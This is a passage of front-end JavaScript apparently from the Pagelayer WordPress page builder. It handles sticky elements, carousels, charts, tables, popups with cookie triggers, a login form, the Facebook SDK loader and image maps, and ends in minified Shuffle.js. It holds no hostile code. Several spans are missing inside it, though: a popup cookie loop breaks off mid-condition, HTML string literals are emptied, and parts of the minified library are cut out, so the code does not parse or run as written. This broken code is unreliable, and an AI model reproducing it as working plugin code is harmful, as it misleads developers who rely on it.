parentHeight - wrapper.outerHeight(true) - offset){ fixed_css['position'] = 'absolute'; fixed_css[opp_position] = '0px'; fixed_css[position] = 'auto'; } } // Add position holder element if(wrapper.next('.pagelayer-sticky-space-holder').length < 1 ){ var clone = wrapper.clone(true); clone.addClass('pagelayer-sticky-space-holder'); clone.css({'visibility' : 'hidden', 'transition': 'none 0s ease 0s', 'animation': '0s ease 0s 1 normal none running none'}); // Remove pagelayer-parent attributes to avoid group children list double if(!pagelayer_empty(pagelayer_is_live)){ clone.removeClass('pagelayer-ele-wrap'); clone.removeClass('pagelayer-ele'); clone.find('.pagelayer-ele').removeClass('pagelayer-ele'); clone.find('[pagelayer-id]').removeAttr('pagelayer-id'); } // Add wrapper.after(clone); //wrapper.after(''); } // Css for fixed the element wrapper.css(fixed_css); } // TODO: manage margin var mTopEle = parseFloat(wrapper.css('margin-top')); var mBottomEle = parseFloat(wrapper.css('margin-bottom')); // Fixed on top if( position == 'top' && (topToCheck <= offset+mTopEle && do_sticky) ){ pagelayer_fixed(); // Fixed on bottom }else if( position == 'bottom' && topToCheck + wrapper.outerHeight()+mBottomEle >= parentHeight - offset && do_sticky) { pagelayer_fixed(); // Set old style }else{ wrapper.attr('style', oldstyle); wrapper.next('.pagelayer-sticky-space-holder').remove(); jEleW = wrapper[0].clientWidth +'px'; jEleTop = wrapper.offset().top; } return true; }; // Run for the first time pagelayer_sticky(); // On window scroll parentEle.scroll(pagelayer_sticky); parentEle.resize(pagelayer_sticky); } function pagelayer_pl_posts(jEle){ var ul = jEle.find('.pagelayer-posts-container'); ul.addClass('pagelayer-owl-carousel pagelayer-owl-theme'); // Build the options var options = pagelayer_fetch_dataAttrs(ul, 'data-owl-'); // Already setup ? var setup = jEle.attr('pagelayer-setup'); // If already setup then Destroy Owl if(setup && setup.length > 0){ ul.pagelayerOwlCarousel('destroy'); ul.find('[class^="pagelayer-owl-"]').remove(); } //console.log(options); ul.pagelayerOwlCarousel(options); // Set that we have setup everything jEle.attr('pagelayer-setup', 1); } function pagelayer_pl_slides(jEle){ var ul = jEle.find('.pagelayer-slides-holder'); // Build the options var options = pagelayer_fetch_dataAttrs(ul, 'data-slides-'); var blurNav = false; if(pagelayer_is_live){ if(!options.nav && !options.dots) { options.nav = true; options.dots = true; blurNav = true; } options.mouseDrag = false; } pagelayer_owl_init(jEle, ul, options); if(blurNav){ ul.find('.pagelayer-owl-nav button').css({'filter': 'blur(2px)'}); ul.find('.pagelayer-owl-dot').css({'filter': 'blur(2px)'}); } // Shows element animations after slide change ul.on('refresh.owl.carousel translate.owl.carousel', function(e) { var slide = jQuery(this); if(!pagelayer_is_live) { slide.find('.pagelayer-wow').addClass('animated'); return; } slide.find('.pagelayer-ele').each(function() { var ele = jQuery(this); if(ele.css('animation-name') == 'none') { return; } ele.addClass('pagelayer-wow animated').one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function(){ ele.removeClass('pagelayer-wow animated'); }); }); }); } // For Pagelayer Pro // Show tooltip in image hotspot function pagelayer_image_hotspot(jEle){ // Drag and Drop function for image if (typeof pagelayer_preDAndD_image !== "undefined") { pagelayer_preDAndD_image(jEle); } var tooltip_click = jEle.find('.pagelayer-icon-holder'); var icon_holder = jEle.find('.pagelayer-hotspots-icon-holder'); icon_holder.off('click'); icon_holder.find('.pagelayer-tooltip-text').removeClass('pagelayer-tooltip-on-click'); if(tooltip_click.hasClass('pagelayer-hotspots-click')){ icon_holder.each(function(){ jQuery(this).click(function(){ jQuery(this).find( '.pagelayer-tooltip-text' ).toggleClass('pagelayer-tooltip-on-click'); }) }); } // Assigning animation classes to icon holder if(!pagelayer_empty(tooltip_click.attr('pagelayer-animation'))){ icon_holder.addClass('pagelayer-animation-'+tooltip_click.attr('pagelayer-animation')); } } var pagelayer_chart_objects = {}; // Show Chart render function pagelayer_chart(jEle){ var holder = jEle.find('.pagelayer-chart-holder'); var id = jEle.attr('pagelayer-id'); var type = holder.attr('chart-type'); var labels = holder.attr('chart-labels') || ''; var legend = holder.attr('chart-legend'); var chart_datasets = []; labels = labels.split(','); //console.log(labels); jEle.find('.pagelayer-chart-child-holder').find('.pagelayer-chart-datasets').each(function(){ var tmp_dataset = {}; //console.log(jQuery(this).attr('chart-datasets')); var chartDatasets = jQuery(this).attr('chart-datasets') || ''; tmp_dataset['data'] = chartDatasets.split(','); //tmp_dataset['data'] = [734,784,2478,5267,433]; tmp_dataset['label'] = jQuery(this).attr('datasets-label'); tmp_dataset['backgroundColor'] = ( holder.attr('chart-colors') ? holder.attr('chart-colors').split(',') : jQuery(this).attr('dataset-bg') ); tmp_dataset['borderColor'] = jQuery(this).attr('border-color'); tmp_dataset['borderWidth'] = 1; tmp_dataset['fill'] = ( jQuery(this).attr('dataset-fill') ? true : false ); chart_datasets.push(tmp_dataset); }); //console.log(chart_datasets); //chart_datasets = chart_datasets.join(','); if(id in pagelayer_chart_objects && typeof pagelayer_chart_objects[id].destroy == 'function'){ pagelayer_chart_objects[id].destroy(); } pagelayer_chart_objects[id] = new Chart(jEle.find('.pagelayer-chart-holder'), { type: type, data: { labels: labels, datasets: chart_datasets }, options: { //rotation: holder.attr('data-pierotate') * Math.PI, //circumference: holder.attr('data-circumference') * Math.PI, maintainAspectRatio: ( holder.attr('chart-height') ? false : true ), legend: { display: ( legend ? true : false ), position: legend, }, scales: { xAxes: [ { barPercentage: 1, categoryPercentage: 0.9, ticks:{ beginAtZero: holder.attr('data-xbegin'), fontColor: holder.attr('data-xcolor'), fontSize: holder.attr('data-xsize'), autoSkip: false, maxRotation: holder.attr('data-xrotate'), minRotation: holder.attr('data-xrotate') }, //stacked: true } ], yAxes:[ { ticks:{ beginAtZero: holder.attr('data-ybegin'), fontColor: holder.attr('data-ycolor'), fontSize: holder.attr('data-ysize'), autoSkip: false, maxRotation: holder.attr('data-yrotate'), minRotation: holder.attr('data-yrotate') }, //stacked: true } ] } } }); } // Show table render function pagelayer_table(jEle){ var tHolder = jEle.find('.pagelayer-table-holder'); var dHolder = jEle.find('.pagelayer-data-holder'); var trEle = dHolder.find(".pagelayer-table_row"); var tdlength = 0; tHolder.empty(); /*trEle.each(function(){ var tdEle = jQuery(this).find(".pagelayer-table_col").length; if(tdlength < tdEle){tdlength = tdEle} });*/ // Add rows trEle.each(function(){ var this_trEle = jQuery(this); var this_trId = this_trEle.attr('pagelayer-id'); var tdEle = this_trEle.find(".pagelayer-table_col"); var html = ''; // Add columns tdEle.each(function(){ var td_data_Holder = jQuery(this).find('.pagelayer-col-data'); var td_id = jQuery(this).attr('pagelayer-id'); var tdata = td_data_Holder.attr('data-td') || ''; var t_tag = td_data_Holder.attr('data-tag') || ''; var attrs = {}; var col_attr = ''; attrs['colspan']= td_data_Holder.attr('data-colspan') || ''; attrs['rowspan'] = td_data_Holder.attr('data-rowspan') || ''; if(!pagelayer_empty(pagelayer_is_live)){ attrs['pagelayer-ref-id'] = td_id; attrs['pagelayer-editable'] = 'data'; attrs['contenteditable'] = 'true'; } for(var key in attrs){ if(!pagelayer_empty(attrs[key])){ col_attr += key+'="'+attrs[key]+'"'; } } html = html+'<'+t_tag +' '+col_attr+' pagelayer-table-id="'+td_id+'">'+tdata+''; }); /* if(tdlength > tdEle.length){ var extra_td = tdlength - tdEle.length; for(var i=0; extra_td >i; i++){ html = html+''; } } */ tHolder.append(''+html+''); }); if(!pagelayer_empty(pagelayer_is_live)){ tHolder.on('input', '[contenteditable]', function(){ var jEle = jQuery(this); var val = pagelayer_trim(jEle.html()); var id = jEle.closest('[pagelayer-ref-id]').attr('pagelayer-ref-id'); if(pagelayer_empty(id)){ return; } jQuery('[pagelayer-id='+id+']').find('.pagelayer-col-data').attr('data-td', val); }); } } function pagelayer_audio(jEle){ var audio = jQuery(jEle.find('audio')); var container = jEle.find('.pagelayer-audio-container'); var features = ['playpause','tracks','fullscreen']; (container.attr('show_duration') ? features.push('duration') : '' ); (container.attr('show_progress') ? features.push('progress') : '' ); (container.attr('show_current') ? features.push('current') : '' ); (container.attr('show_volume') ? features.push('volume') : '' ); audio.mediaelementplayer({ //features: ['playpause','duration','progress','current','volume','tracks','fullscreen'] features: features }); } // Post Portfolio Handler - Premium function pagelayer_post_folio(jEle){ var btn = jEle.find('.pagelayer-postfolio-btn'); var thumb = jEle.find('.pagelayer-postfolio-thumb'); btn.unbind('click'); btn.on('click', function(){ var btn_cat = jQuery(this).data("filter"); if(btn_cat == 'all'){ jQuery(thumb).fadeIn(1200); }else{ thumb.each(function(){ var thumb_cat = jQuery(this).data("category"); if(!pagelayer_empty(thumb_cat)){ thumb_cat = thumb_cat.split(' '); if(jQuery.inArray( btn_cat, thumb_cat ) == -1){ jQuery(this).hide(); }else{ jQuery(this).fadeIn(600); } }else{ jQuery(this).hide(); } }); } }); } // Search Form handler - Premium function pagelayer_search_form(jEle){ // In full screen mode set auto complete offscreenBuffering jEle.find('.pagelayer-search-full-screen form').attr('autocomplete', 'off'); jEle.find('.pagelayer-search-toggle').click(function(){ jEle.find('.pagelayer-search-fields').toggleClass('show'); }); jEle.find('.pagelayer-search-fields').click(function(e){ e = window.event || e; if(this === e.target) { jQuery(this).removeClass('show'); } }); } // Login Form handler - Premium function pagelayer_login_submit(jEle, e){ e.preventDefault(); var fdata = new FormData( jQuery(jEle).closest('form')[0] ); // Append the nonce fdata.append('pagelayer_nonce', pagelayer_global_nonce); jQuery.ajax({ url: pagelayer_ajaxurl+'action=pagelayer_login_submit', type: "POST", data: fdata, processData: false, contentType: false, cache:false, success:function(result){ var json = jQuery.parseJSON(result); // console.log(json); if(!pagelayer_empty(json['error'])){ jQuery(".pagelayer-login-error-box").html(json['error']).fadeIn().delay(10000).fadeOut(); }else{ if(!pagelayer_empty(json['redirect'])){ window.location.href = json['redirect']; }else{ location.reload(true); } } } }); } //Review slider handler - Premium function pagelayer_reviews_slider(jEle){ var ul = jEle.find('.pagelayer-reviews-holder'); // Build the options var options = pagelayer_fetch_dataAttrs(ul, 'data-slides-'); pagelayer_owl_init(jEle, ul, options); } // Facebook App ID handler - Premium function pagelayer_fb_apps(jEle){ var app_id = jEle.find('.pagelayer-app-details').attr('pagelayer-app-id'); if(pagelayer_empty(app_id) || app_id == "{{fb-app-id}}"){ app_id = pagelayer_facebook_id; } // If still empty if(pagelayer_empty(app_id)){ return; } var win = pagelayerGetCurrentWindow(); var doc = pagelayerGetDocumentElement(); win.fbAsyncInit = function() { win.FB.init({ appId : app_id, autoLogAppEvents : true, xfbml : true, version : 'v3.3' }); }; win.FB = null; (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; js = d.createElement(s); js.id = id; js.src = "https://connect.facebook.net/en_US/sdk.js#xfbml=1&version=v3.0"; fjs.parentNode.insertBefore(js, fjs); }(doc, 'script', 'facebook-jssdk')); } // SiteMap Attribute Handler- Premium function pagelayer_sitemap_add_attributes(jEle){ var nofollow = jEle.find('.pagelayer-sitemap-div-holder').data('nofollow'); if(!pagelayer_empty(nofollow)){ jEle.find('.pagelayer-sitemap-section .pagelayer-sitemap-list-item a').attr('rel','nofollow'); } } // Initialize video slider function pagelayer_pl_video_slider(jEle){ var ul = jEle.find('.pagelayer-video-slider-holder'); // Build the options var options = pagelayer_fetch_dataAttrs(ul, 'data-slides-'); pagelayer_owl_init(jEle, ul, options); } // Splash widget function pagelayer_pl_splash_screen(jEle){ if(!pagelayer_empty(pagelayer_is_live)){ return; } if( jEle.attr('display_type') == "once"){ if (!sessionStorage.isVisited) { sessionStorage.isVisited = "true"; jEle.delay(jEle.attr('delay')).fadeIn(); } }else{ jEle.delay(jEle.attr('delay')).fadeIn(); } jEle.find('.pagelayer-splash-close, .pagelayer-splash-bg-close').on('click', function(){ jEle.fadeOut(); }); } // Facebook width adjustment function function pagelayer_fb_width(jEle){ var facebook = (jEle.find('.fb-page').length ? jEle.find('.fb-page') : jEle.find('.fb-embed')); var fb_resize = function(){ facebook.attr('data-width', jEle.width()); FB.XFBML.parse(); }; setTimeout(fb_resize, 1000); var win = pagelayerGetCurrentWindow(); jQuery(win).on('resize', function(){ setTimeout(fb_resize, 1000); }); } // WooCommenrce cart function pagelayer_woo_menu_cart(jEle){ // On click menu cart jEle.find('.pagelayer-menu-cart-toggle').click(function(e){ e.preventDefault(); jEle.find('.pagelayer-menu-cart-container').toggle(); }); // On click menu cart close jEle.find('.pagelayer-menu-cart-close').click(function(){ jEle.find('.pagelayer-menu-cart-container').hide(); }); } // Setup the pop-ups function pagelayer_popup_setup(popEle){ var jEle = popEle.find('.pagelayer-popup').first(); var id = jEle.attr('pagelayer-id'); var popup_content = popEle.find('.pagelayer-popup-modal-content'); var data = new Object(); // Set the Pou-up id popEle.attr('pagelayer-popup-id', id); if(jEle.length < 1) return; jQuery.each(jEle[0].attributes, function(index, att){ if(att.name.match(/data\-/i)){ data[att.name.substr(5)] = att.value; } }); // Show pop-up var popup_show = function(force){ // Is there a cookie? if( !pagelayer_empty(data['popup_cookie_session']) && !pagelayer_empty(data['popup_cookie_name']) && pagelayer_empty(force)){ var name = data['popup_cookie_name']+ "="; var decodedCookie = decodeURIComponent(document.cookie); var ca = decodedCookie.split(';'); for(var i = 0; i
'); }else{ popEle.find('.pagelayer-popup-modal-content').append('
'); } var closer = popEle.find('.pagelayer-popup-close'); // On click close closer.click(function(e){ jQuery(document).trigger('pagelayer_popup_close', e, popEle); e.preventDefault(); e.stopPropagation(); popEle.hide(); }); // Hide pop-up on click modal container if ( !pagelayer_empty(data['overlay_close']) ){ popEle.click(function(e){ if(jQuery(e.target).closest('.pagelayer-popup-modal-content').length > 0) return; closer.click(); }); } // Hide pop-up click on selector if ( !pagelayer_empty(data['selector_close']) ){ jQuery(data['selector_close']).click(function(e){ closer.click(); }); } // Is there a cookie to be set to be remembered ? if( !pagelayer_empty(data['popup_cookie_session']) && !pagelayer_empty(data['popup_cookie_name']) ){ // Set cookie on close as well ? if(!pagelayer_empty(data['popup_cookie_close'])){ data['popup_cookie_selector'] = '.pagelayer-popup-close'+(pagelayer_empty(data['popup_cookie_selector']) ? '' : ','+data['popup_cookie_selector']); } if(!pagelayer_empty(data['popup_cookie_selector'])){ pagelayer_popup_set_cookie(data, closer); } } // Pop-up triggers // If we are in editor if ( !pagelayer_empty(popEle.attr('pagelayer-popup-editor')) ) { closer.unbind('click'); popEle.unbind('click'); popEle.removeAttr('pagelayer-popup-Shown'); popup_show(true); } // Click popup show if(!pagelayer_empty(data['trig_click'])){ jQuery(data['trig_click_ele']).click(popup_show); } // Popup show on load if(!pagelayer_empty(data['trig_load'])){ var second = parseFloat(data['trig_load_sec'] || 0); setTimeout(popup_show, second * 1000); } // Popup show on scroll if(!pagelayer_empty(data['trig_scroll'])){ // Initial state var scrollPos = 0; // adding scroll event jQuery(window).on('scroll', function(){ // detects new state and compares it with the new one if ( scrollY > scrollPos){ if(data['trig_scroll_dir'] == 'down'){ let scroll_per = scrollY*100/(jQuery(document).height() - innerHeight); let scr_per =parseInt(data['trig_scroll_per']) || 0; if( scr_per <= scroll_per){ popup_show(); } } }else if(data['trig_scroll_dir'] == 'up'){ popup_show(); } // saves the new position for iteration. scrollPos = scrollY; }); } // Popup show on scroll to element if(!pagelayer_empty(data['trig_scroll_to_ele'])){ // adding scroll event jEle.find(data['trig_scroll_to_ele_sel']).on('scroll', function(){ popup_show(); }); } // On scroll popup show if(!pagelayer_empty(data['trig_page_exit_intent'])){ jQuery(document).on('mouseleave', popup_show); } // When page load popup hide if(!pagelayer_empty(data['trig_before_load'])){ closer.click(); } } // Sets the cookie function pagelayer_popup_set_cookie(data, closer){ jQuery(data['popup_cookie_selector']).click(function(e){ var exdays = data['popup_cookie_exp'] || 0; var d = new Date(); d.setTime(d.getTime() + ( parseFloat(exdays) *24*60*60*1000)); var expires = "expires="+ d.toUTCString(); document.cookie = data['popup_cookie_name'] + "=1;" + expires + ";path=/"; if(closer && !jQuery(e.target).is(closer)){ closer.click(); } }); } // Before After Slider Handler function pagelayer_before_after_slider(jEle){ let event = jEle.find('.pagelayer-before-after-container').attr('data-resize-event'), slider = jEle.find('.pagelayer-before-after-slider'), after = jEle.find('.pagelayer-after-image'), resizer = jEle.find('.pagelayer-resizer'), buttons = jEle.find('.pagelayer-before-btn, .pagelayer-after-btn'), plID = jEle.attr('pagelayer-id'); resizer.removeAttr('style'); after.removeAttr('style'); // z - Custom value for both var slideIt = function(e, z){ z = z || false; let x, y; if(z != false){ x = y = z; }else{ let pos = slider.offset(), eleWidth = slider.width(), eleHeight = slider.height(); x = Math.min( (e.pageX - pos.left), eleWidth ) * 100 / eleWidth; y = Math.min( (e.pageY - pos.top), eleHeight) * 100 / eleHeight; } if(x < 0 || x > 99.7 || y < 0 || y > 99.7){ return false; } if(slider.hasClass('pagelayer-before-after-slider-vertical')){ resizer.css({'top': y+'%'}); after.css({'clip-path': 'polygon(0px '+y+'%, 100% '+y+'%, 100% 100%, 0% 100%)'}); return; } resizer.css({'left': x+'%'}); after.css({'clip-path': 'polygon('+x+'% 0%, 100% 0%, 100% 100%, '+x+'% 100%)'}); } var resizeOn = function(){ slider.addClass('resize'); } var resizeOff = function(){ slider.removeClass('resize'); } // Before After Button click handler jEle.on('click', '.pagelayer-after-btn, .pagelayer-before-btn', function(e){ e.stopPropagation(); e.preventDefault(); var slide = (jQuery(this).hasClass('pagelayer-before-btn')) ? 90 : 10; // Start resizing resizeOn(); slideIt(e, slide); // Stop resizing resizeOff(); }); var win = pagelayerGetCurrentWindow(); var doc = pagelayerGetDocumentElement(); // Unbind All events jQuery(win).unbind('mousemove.bf_slider'+plID); slider.unbind('click mouseover mouseout'); resizer.unbind('mousedown'); jQuery(doc).unbind('mouseup.bf_slider'+plID); // If there is no events if(event == 'none' || pagelayer_empty(event)){ return; } if(event == 'hover'){ // No need of buttons while hover effect buttons.fadeOut(); slider.on('mouseover', resizeOn); slider.on('mouseout', resizeOff); }else{ resizer.on('mousedown', function(e){ // To prevent widgets from being dragged. e.stopPropagation(); e.preventDefault(); resizeOn(); buttons.fadeOut(); }); jQuery(doc).on('mouseup.bf_slider'+plID, function(e){ resizeOff(); buttons.fadeIn(); }); } jQuery(win).on('mousemove.bf_slider'+plID, function(e){ if(!slider.hasClass('resize')){ return; } // Stop divs being selected. e.stopPropagation(); e.preventDefault(); slideIt(e); }); slider.on('click', slideIt); } // Image Map Widget function pagelayer_pl_image_map(jEle){ var svgEle = jEle.find('.pagelayer-imgmap-svg'); var data = []; svgEle.find('.pagelayer-imgmap-item').each(function(){ var data_link = jQuery(this).attr('data-link'); var data_id = jQuery(this).attr('data-id'); data[data_id] = data_link; }); pagelayer_resize_imgmap(jEle); jQuery(pagelayerGetCurrentWindow()).off('resize.plimgmap').on('resize.plimgmap',function(){ pagelayer_resize_imgmap(jEle); }); if(!pagelayer_is_live){ for (const key in data) { if(data == undefined || data[key].length === 0){ continue; } var elem = jEle.find('[data-id='+key+']'); elem.css({'cursor':'pointer'}); elem.off('click').on('click',function(){ window.open(data[key], "_blank"); }); } svgEle.addClass('pagelayer-imgmap-hover-active'); } } function pagelayer_resize_imgmap(jEle){ var svgEle = jEle.find('svg'); var pathEles = svgEle.find('path'); if(pathEles.length > 0){ for (var i = 0; i < pathEles.length; i++) { pagelayer_resize_imgmap_item(jQuery(pathEles[i]), jEle); } } } function pagelayer_resize_imgmap_item(path_ele, jEle = ''){ var wrap = jEle.find('.pagelayer-imgmap-wrapper'); var img_ele = jEle.find('img'); // Delay while resizing map setTimeout(() => { // Auto resize wrapper wrap.css('cssText','width:'+img_ele.width()+'px;height:'+img_ele.height()+'px;left:'+img_ele.position().left+'px;top:'+img_ele.position().top+'px;'); var mapWidth = wrap.width(); var mapHeight = wrap.height(); var cords = path_ele.attr('data-cord'); var isActive = path_ele.hasClass('pagelayer-map-item-active') ? true : false; cords = cords.split(','); var tmpArr = []; var tmpCord = ''; var count = 0; cords.forEach((ele,index) => { var prefix = index == 1 ? 'M' : 'L'; var perc = ele; if(tmpCord.length == 0){ tmpCord = (mapWidth / 100) * perc; }else{ var cord = (mapHeight / 100) * perc; if(pagelayer_is_live){ var cordWrap = jEle.find('.pagelayer-imgmap-coordinates-wraper'); var mapId = path_ele.attr('data-id'); var cord_ele = jEle.find('.pl-cord-'+mapId).eq(count); if(cord_ele.length == 0){ var cordHTML = `
`; cordWrap.append(cordHTML); }else{ var visibility = isActive ? 'display:block' : ''; cord_ele.css('cssText','left:'+tmpCord+'px;top:'+cord+'px;'+visibility); } } tmpArr.push(prefix + tmpCord+' '+cord); tmpCord = ''; count++; } }); // Close path denoted by z var endOpr = pagelayer_is_live ? '' : 'z'; var value = tmpArr.join('').toString() + endOpr; cords = cords.toString(); path_ele.attr('data-cord',cords); path_ele.attr('d',value); }, 10); } function pagelayer_create_imgmap_svg(classes = [], attrs = []){ // Create svg path element and append in the svg var elem = document.createElementNS('http://www.w3.org/2000/svg', 'path'); if(classes.length > 0){ classes.forEach(cls => { elem.classList.add(cls); }); } if(attrs.length > 0){ attrs.forEach(attr => { elem.setAttribute(attr[0],attr[1]); }); } return elem; } !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t=t||self).Shuffle=e()}(this,function(){"use strict";function t(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function e(t,e){for(var i=0;i=e?l():o=setTimeout(l,e-t)),s};function l(){o=0,r=+new Date,s=t.apply(i,n),i=null,n=null}};function d(){}function m(t){return parseFloat(t)||0}var p=function(){function e(i,n){t(this,e),this.x=m(i),this.y=m(n)}return i(e,null,[{key:"equals",value:function(t,e){return t.x===e.x&&t.y===e.y}}]),e}(),v=function(){function e(i,n,s,o,r){t(this,e),this.id=r,this.left=i,this.top=n,this.width=s,this.height=o}return i(e,null,[{key:"intersects",value:function(t,e){return t.left2&&void 0!==arguments[2]?arguments[2]:window.getComputedStyle(t,null),n=m(i[e]);return I()||"width"!==e?I()||"height"!==e||(n+=m(i.paddingTop)+m(i.paddingBottom)+m(i.borderTopWidth)+m(i.borderBottomWidth)):n+=m(i.paddingLeft)+m(i.paddingRight)+m(i.borderLeftWidth)+m(i.borderRightWidth),n}var S={reverse:!1,by:null,compare:null,randomize:!1,key:"element"};function T(t,e){var i=Object.assign({},S,e),n=Array.from(t),s=!1;return t.length?i.randomize?function(t){for(var e=t.length;e;){e-=1;var i=Math.floor(Math.random()*(e+1)),n=t[i];t[i]=t[e],t[e]=n}return t}(t):("function"==typeof i.by?t.sort(function(t,e){if(s)return 0;var n=i.by(t[i.key]),o=i.by(e[i.key]);return void 0===n&&void 0===o?(s=!0,0):no||"sortLast"===n||"sortFirst"===o?1:0}):"function"==typeof i.compare&&t.sort(i.compare),s?n:(i.reverse&&t.reverse(),t)):[]}var k={},w="transitionend",C=0;function L(t){return!!k[t]&&(k[t].element.removeEventListener(w,k[t].listener),k[t]=null,!0)}function D(t,e){var i=w+(C+=1),n=function(t){t.currentTarget===t.target&&(L(i),e(t))};return t.addEventListener(w,n),k[i]={element:t,listener:n},i}function z(t){return Math.max.apply(Math,t)}function M(t,e,i,n){var s=t/e;return Math.abs(Math.round(s)-s)=n-e&&t[s]<=n+e)return s;return 0}function x(t,e){var i={};t.forEach(function(t){i[t.top]?i[t.top].push(t):i[t.top]=[t]});var n=[],s=[],o=[];return Object.keys(i).forEach(function(t){var r=i[t];s.push(r);var l,a=r[r.length-1],u=a.left+a.width,h=Math.round((e-u)/2),f=r,c=!1;if(h>0){var d=[];(c=r.every(function(t){var e=new v(t.left+h,t.top,t.width,t.height,t.id),i=!n.some(function(t){return v.intersects(e,t)});return d.push(e),i}))&&(f=d)}if(!c&&r.some(function(t){return n.some(function(e){var i=v.intersects(t,e);return i&&(l=e),i})})){var m=o.findIndex(function(t){return t.includes(l)});o.splice(m,1,s[m])}n=n.concat(f),o.push(f)}),[].concat.apply([],o).sort(function(t,e){return t.id-e.id}).map(function(t){return new p(t.left,t.top)})}function O(t){return Array.from(new Set(t))}var N=0,H=function(e){function r(e){var i,s=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};t(this,r),(i=o(this,n(r).call(this))).options=Object.assign({},r.options,s),i.options.delimeter&&(i.options.delimiter=i.options.delimeter),i.lastSort={},i.group=r.ALL_ITEMS,i.lastFilter=r.ALL_ITEMS,i.isEnabled=!0,i.isDestroyed=!1,i.isInitialized=!1,i._transitions=[],i.isTransitioning=!1,i._queue=[];var l=i._getElementOption(e);if(!l)throw new TypeError("Shuffle needs to be initialized with an element.");return i.element=l,i.id="shuffle_"+N,N+=1,i._init(),i.isInitialized=!0,i}return function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&s(t,e)}(r,l),i(r,[{key:"_init",value:function(){if(this.items=this._getItems(),this.options.sizer=this._getElementOption(this.options.sizer),this.element.classList.add(r.Classes.BASE),this._initItems(this.items),this._onResize=this._getResizeFunction(),window.addEventListener("resize",this._onResize),"complete"!==document.readyState){var t=this.layout.bind(this);window.addEventListener("load",function e(){window.removeEventListener("load",e),t()})}var e=window.getComputedStyle(this.element,null),i=r.getSize(this.element).width;this._validateStyles(e),this._setColumns(i),this.filter(this.options.group,this.options.initialSort),this.element.offsetWidth,this.setItemTransitions(this.items),this.element.style.transition="height ".concat(this.options.speed,"ms ").concat(this.options.easing)}},{key:"_getResizeFunction",value:function(){var t=this._handleResize.bind(this);return this.options.throttle?this.options.throttle(t,this.options.throttleTime):t}},{key:"_getElementOption",value:function(t){return"string"==typeof t?this.element.querySelector(t):t&&t.nodeType&&1===t.nodeType?t:t&&t.jquery?t[0]:null}},{key:"_validateStyles",value:function(t){"static"===t.position&&(this.element.style.position="relative"),"hidden"!==t.overflow&&(this.element.style.overflow="hidden")}},{key:"_filter",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.lastFilter,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.items,i=this._getFilteredSets(t,e);return this._toggleFilterClasses(i),this.lastFilter=t,"string"==typeof t&&(this.group=t),i}},{key:"_getFilteredSets",value:function(t,e){var i=this,n=[],s=[];return t===r.ALL_ITEMS?n=e:e.forEach(function(e){i._doesPassFilter(t,e.element)?n.push(e):s.push(e)}),{visible:n,hidden:s}}},{key:"_doesPassFilter",value:function(t,e){if("function"==typeof t)return t.call(e,e,this);var i=e.getAttribute("data-"+r.FILTER_ATTRIBUTE_KEY),n=this.options.delimiter?i.split(this.options.delimiter):JSON.parse(i);function s(t){return n.includes(t)}return Array.isArray(t)?this.options.filterMode===r.FilterMode.ANY?t.some(s):t.every(s):n.includes(t)}},{key:"_toggleFilterClasses",value:function(t){var e=t.visible,i=t.hidden;e.forEach(function(t){t.show()}),i.forEach(function(t){t.hide()})}},{key:"_initItems",value:function(t){t.forEach(function(t){t.init()})}},{key:"_disposeItems",value:function(t){t.forEach(function(t){t.dispose()})}},{key:"_updateItemCount",value:function(){this.visibleItems=this._getFilteredItems().length}},{key:"setItemTransitions",value:function(t){var e=this.options,i=e.speed,n=e.easing,s=this.options.useTransforms?["transform"]:["top","left"],o=Object.keys(_.Css.HIDDEN.before).map(function(t){return t.replace(/([A-Z])/g,function(t,e){return"-".concat(e.toLowerCase())})}),r=s.concat(o).join();t.forEach(function(t){t.element.style.transitionDuration=i+"ms",t.element.style.transitionTimingFunction=n,t.element.style.transitionProperty=r})}},{key:"_getItems",value:function(){var t=this;return Array.from(this.element.children).filter(function(e){return f(e,t.options.itemSelector)}).map(function(t){return new _(t)})}},{key:"_mergeNewItems",value:function(t){var e=Array.from(this.element.children);return T(this.items.concat(t),{by:function(t){return e.indexOf(t)}})}},{key:"_getFilteredItems",value:function(){return this.items.filter(function(t){return t.isVisible})}},{key:"_getConcealedItems",value:function(){return this.items.filter(function(t){return!t.isVisible})}},{key:"_getColumnSize",value:function(t,e){var i;return 0===(i="function"==typeof this.options.columnWidth?this.options.columnWidth(t):this.options.sizer?r.getSize(this.options.sizer).width:this.options.columnWidth?this.options.columnWidth:this.items.length>0?r.getSize(this.items[0].element,!0).width:t)&&(i=t),i+e}},{key:"_getGutterSize",value:function(t){return"function"==typeof this.options.gutterWidth?this.options.gutterWidth(t):this.options.sizer?b(this.options.sizer,"marginLeft"):this.options.gutterWidth}},{key:"_setColumns",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:r.getSize(this.element).width,e=this._getGutterSize(t),i=this._getColumnSize(t,e),n=(t+e)/i;Math.abs(Math.round(n)-n)1&&void 0!==arguments[1]?arguments[1]:{};this.isDestroyed||(e.shuffle=this,this.emit(t,e))}},{key:"_resetCols",value:function(){var t=this.cols;for(this.positions=[];t;)t-=1,this.positions.push(0)}},{key:"_layout",value:function(t){var e=this,i=this._getNextPositions(t),n=0;t.forEach(function(t,s){function o(){t.applyCss(_.Css.VISIBLE.after)}if(p.equals(t.point,i[s])&&!t.isHidden)return t.applyCss(_.Css.VISIBLE.before),void o();t.point=i[s],t.scale=_.Scale.VISIBLE,t.isHidden=!1;var r=e.getStylesForTransition(t,_.Css.VISIBLE.before);r.transitionDelay=e._getStaggerAmount(n)+"ms",e._queue.push({item:t,styles:r,callback:o}),n+=1})}},{key:"_getNextPositions",value:function(t){var e=this;if(this.options.isCentered){var i=t.map(function(t,i){var n=r.getSize(t.element,!0),s=e._getItemPosition(n);return new v(s.x,s.y,n.width,n.height,i)});return this.getTransformedPositions(i,this.containerWidth)}return t.map(function(t){return e._getItemPosition(r.getSize(t.element,!0))})}},{key:"_getItemPosition",value:function(t){return function(t){for(var 